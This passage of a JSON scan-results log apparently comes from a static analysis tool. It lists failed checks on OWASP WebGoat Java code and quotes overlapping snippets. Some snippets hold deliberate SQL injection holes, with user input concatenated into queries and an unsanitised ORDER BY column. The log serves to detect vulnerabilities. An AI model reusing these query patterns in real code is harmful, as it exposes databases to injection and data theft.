username_login);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 45, EndLine: 51\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n    SqlInjectionChallenge.checkDatabase(connection);\n\n    PreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n    statement.setString(1, username_login);\n    statement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 46, EndLine: 52\nCode:\nSqlInjectionChallenge.checkDatabase(connection);\n\n    PreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n    statement.setString(1, username_login);\n    statement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 47, EndLine: 53\nCode:\nPreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n    statement.setString(1, username_login);\n    statement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();\n\n    if (resultSet.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 48, EndLine: 54\nCode:\nPreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n    statement.setString(1, username_login);\n    statement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();\n\n    if (resultSet.next()) {\n        return (\"tom\".equals(username_login)) ? trackProgress(success().build())","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 50, EndLine: 56\nCode:\nstatement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();\n\n    if (resultSet.next()) {\n        return (\"tom\".equals(username_login)) ? trackProgress(success().build())\n        \t\t: success().feedback(\"ResultsButNotTom\").build();\n    } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 51, EndLine: 57\nCode:\nResultSet resultSet = statement.executeQuery();\n\n    if (resultSet.next()) {\n        return (\"tom\".equals(username_login)) ? trackProgress(success().build())\n        \t\t: success().feedback(\"ResultsButNotTom\").build();\n    } else {\n      return failed().feedback(\"NoResultsMatched\").build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 54, EndLine: 60\nCode:\nreturn (\"tom\".equals(username_login)) ? trackProgress(success().build())\n        \t\t: success().feedback(\"ResultsButNotTom\").build();\n    } else {\n      return failed().feedback(\"NoResultsMatched\").build();\n    }\n  }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 73, EndLine: 79\nCode:\n@PostMapping(\"/challenge/6\")\n    @ResponseBody\n    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 74, EndLine: 80\nCode:\n@ResponseBody\n    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n        statement.setString(1, username_login);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 76, EndLine: 82\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n        statement.setString(1, username_login);\n        statement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 77, EndLine: 83\nCode:\ncheckDatabase(connection);\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n        statement.setString(1, username_login);\n        statement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 78, EndLine: 84\nCode:\nPreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n        statement.setString(1, username_login);\n        statement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next() && \"tom\".equals(username_login)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 79, EndLine: 85\nCode:\nPreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n        statement.setString(1, username_login);\n        statement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 81, EndLine: 87\nCode:\nstatement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 84, EndLine: 90\nCode:\nif (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 82, EndLine: 88\nCode:\nResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 48, EndLine: 54\nCode:\nprotected HashMap<Integer, HashMap> getUsers() {\n\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = \"SELECT * FROM user_data\";\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 52, EndLine: 58\nCode:\nString query = \"SELECT * FROM user_data\";\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n                HashMap<Integer,HashMap> allUsersMap = new HashMap();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 54, EndLine: 60\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n                HashMap<Integer,HashMap> allUsersMap = new HashMap();\n\n                if ((results != null) && (results.first() == true)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 98, EndLine: 104\nCode:\n} finally {\n                try {\n                    if (connection != null) {\n                        connection.close();\n                    }\n                } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 82, EndLine: 88\nCode:\nput(\"err\",sqle.getErrorCode() + \"::\" + sqle.getMessage());\n                }};\n\n                return new HashMap<Integer,HashMap>() {{\n                    put(0,errMap);\n                }};\n            } catch (Exception e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 57, EndLine: 63\nCode:\nResultSet results = statement.executeQuery(query);\n                HashMap<Integer,HashMap> allUsersMap = new HashMap();\n\n                if ((results != null) && (results.first() == true)) {\n                    ResultSetMetaData resultsMetaData = results.getMetaData();\n                    StringBuffer output = new StringBuffer();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 76, EndLine: 82\nCode:\nreturn allUsersMap;\n\n                }\n            } catch (SQLException sqle) {\n                sqle.printStackTrace();\n                HashMap<String,String> errMap = new HashMap() {{\n                    put(\"err\",sqle.getErrorCode() + \"::\" + sqle.getMessage());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 106, EndLine: 112\nCode:\n}\n            }\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            HashMap<String,String> errMap = new HashMap() {{\n                put(\"err\",e.getMessage() + \"::\" + e.getCause());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 73, EndLine: 79\nCode:\nallUsersMap.put(id,userMap);\n                    }\n                    userSessionData.setValue(\"allUsers\",allUsersMap);\n                    return allUsersMap;\n\n                }\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 64, EndLine: 70\nCode:\n@SneakyThrows\n    @ResponseBody\n    public List<Server> sort(@RequestParam String column) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column);\n        ResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 65, EndLine: 71\nCode:\n@ResponseBody\n    public List<Server> sort(@RequestParam String column) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column);\n        ResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();\n        while (rs.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 66, EndLine: 72\nCode:\npublic List<Server> sort(@RequestParam String column) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column);\n        ResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();\n        while (rs.next()) {\n            Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 68, EndLine: 74\nCode:\nPreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column);\n        ResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();\n        while (rs.next()) {\n            Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));\n            servers.add(server);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 72, EndLine: 78\nCode:\nServer server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));\n            servers.add(server);\n        }\n        return servers;\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 69, EndLine: 75\nCode:\nResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();\n        while (rs.next()) {\n            Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));\n            servers.add(server);\n        }\n        return servers;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 52, EndLine: 58\nCode:\nStatement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    results.first();\n                    output.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 55, EndLine: 61\nCode:\nif (results.getStatement() != null) {\n                    results.first();\n                    output.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                } else {\n                    if (tableExists(connection)) {\n                        return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 50, EndLine: 56\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    results.first();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 57, EndLine: 63\nCode:\noutput.append(SqlInjectionLesson8.generateTable(results));\n                    return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                } else {\n                    if (tableExists(connection)) {\n                        return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                    }\n                    else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 58, EndLine: 64\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                } else {\n                    if (tableExists(connection)) {\n                        return trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                    }\n                    else {\n                        return trackProgress(success().feedback(\"sql-injection.10.success\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 61, EndLine: 67\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.10.entries\").output(output.toString()).build());\n                    }\n                    else {\n                        return trackProgress(success().feedback(\"sql-injection.10.success\").build());\n                    }\n                }\n            } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 50, EndLine: 56\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                statement.executeUpdate(_query);\n                ResultSet _results = check_statement.executeQuery(\"SELECT phone from employees;\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 68, EndLine: 74\nCode:\npublic static synchronized Connection getConnection(String user, WebgoatContext context) throws SQLException\n\t{\n\t\tConnection conn = connections.get(user);\n\t\tif (conn != null && !conn.isClosed()) return conn;\n\t\tconn = makeConnection(user, context);\n\t\tconnections.put(user, conn);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 69, EndLine: 75\nCode:\n{\n\t\tConnection conn = connections.get(user);\n\t\tif (conn != null && !conn.isClosed()) return conn;\n\t\tconn = makeConnection(user, context);\n\t\tconnections.put(user, conn);\n\n\t\tif (dbBuilt.get(user) == null)","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 72, EndLine: 78\nCode:\nconn = makeConnection(user, context);\n\t\tconnections.put(user, conn);\n\n\t\tif (dbBuilt.get(user) == null)\n\t\t{\n\t\t\tnew CreateDB().makeDB(conn);\n\t\t\tdbBuilt.put(user, Boolean.TRUE);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 74, EndLine: 80\nCode:\nif (dbBuilt.get(user) == null)\n\t\t{\n\t\t\tnew CreateDB().makeDB(conn);\n\t\t\tdbBuilt.put(user, Boolean.TRUE);\n\t\t}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\nStartLine: 51, EndLine: 57\nCode:\nprotected AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try {\n      Connection connection = DatabaseUtilities.getConnection(getWebSession());\n      query = \"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '\" + accountName + \"'\";\n      try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n              ResultSet.CONCUR_READ_ONLY)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\nStartLine: 53, EndLine: 59\nCode:\ntry {\n      Connection connection = DatabaseUtilities.getConnection(getWebSession());\n      query = \"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '\" + accountName + \"'\";\n      try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n              ResultSet.CONCUR_READ_ONLY)) {\n\n        ResultSet results = statement.executeQuery(query);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\nStartLine: 77, EndLine: 83\nCode:\n}\n      } catch (SQLException sqle) {\n\n        return trackProgress(failed().output(sqle.getMessage() + \"<br> Your query was: \" + query).build());\n      }\n    } catch (Exception e) {\n      return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + query).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 52, EndLine: 58\nCode:\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 55, EndLine: 61\nCode:\nConnection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                SqlInjectionLesson8.log(connection, query);\n                ResultSet results = statement.executeQuery(query);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 57, EndLine: 63\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                SqlInjectionLesson8.log(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 70, EndLine: 76\nCode:\n}\n            } catch (SQLException e) {\n                System.err.println(e.getMessage());\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }\n\n            return checkSalaryRanking(connection, output);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 68, EndLine: 74\nCode:\n}\n\n                }\n            } catch (SQLException e) {\n                System.err.println(e.getMessage());\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 73, EndLine: 79\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }\n\n            return checkSalaryRanking(connection, output);\n\n        } catch (Exception e) {\n            System.err.println(e.getMessage());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 59, EndLine: 65\nCode:\nSqlInjectionLesson8.log(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {\n                        output.append(SqlInjectionLesson8.generateTable(results));\n                    } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 60, EndLine: 66\nCode:\nResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {\n                        output.append(SqlInjectionLesson8.generateTable(results));\n                    } else {\n                        // no results","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 64, EndLine: 70\nCode:\noutput.append(SqlInjectionLesson8.generateTable(results));\n                    } else {\n                        // no results\n                        return trackProgress(failed().feedback(\"sql-injection.8.no.results\").build());\n                    }\n\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 87, EndLine: 93\nCode:\npreparedStatement.execute();\n                    attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n                }\n            } catch(SQLException e) {\n                attackResult = failed().output(\"Something went wrong\").build();\n            }\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 44, EndLine: 50\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = _query;\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 48, EndLine: 54\nCode:\nString query = _query;\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 67, EndLine: 73\nCode:\n} catch (SQLException sqle) {\n\n                return trackProgress(failed().output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 57, EndLine: 63\nCode:\nStringBuffer output = new StringBuffer();\n                // user completes lesson if the department of Tobi Barnett now is 'Sales'\n                _results.first();\n                if (_results.getString(\"department\").equals(\"Sales\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    output.append(SqlInjectionLesson8.generateTable(_results));\n                    return trackProgress(success().output(output.toString()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 60, 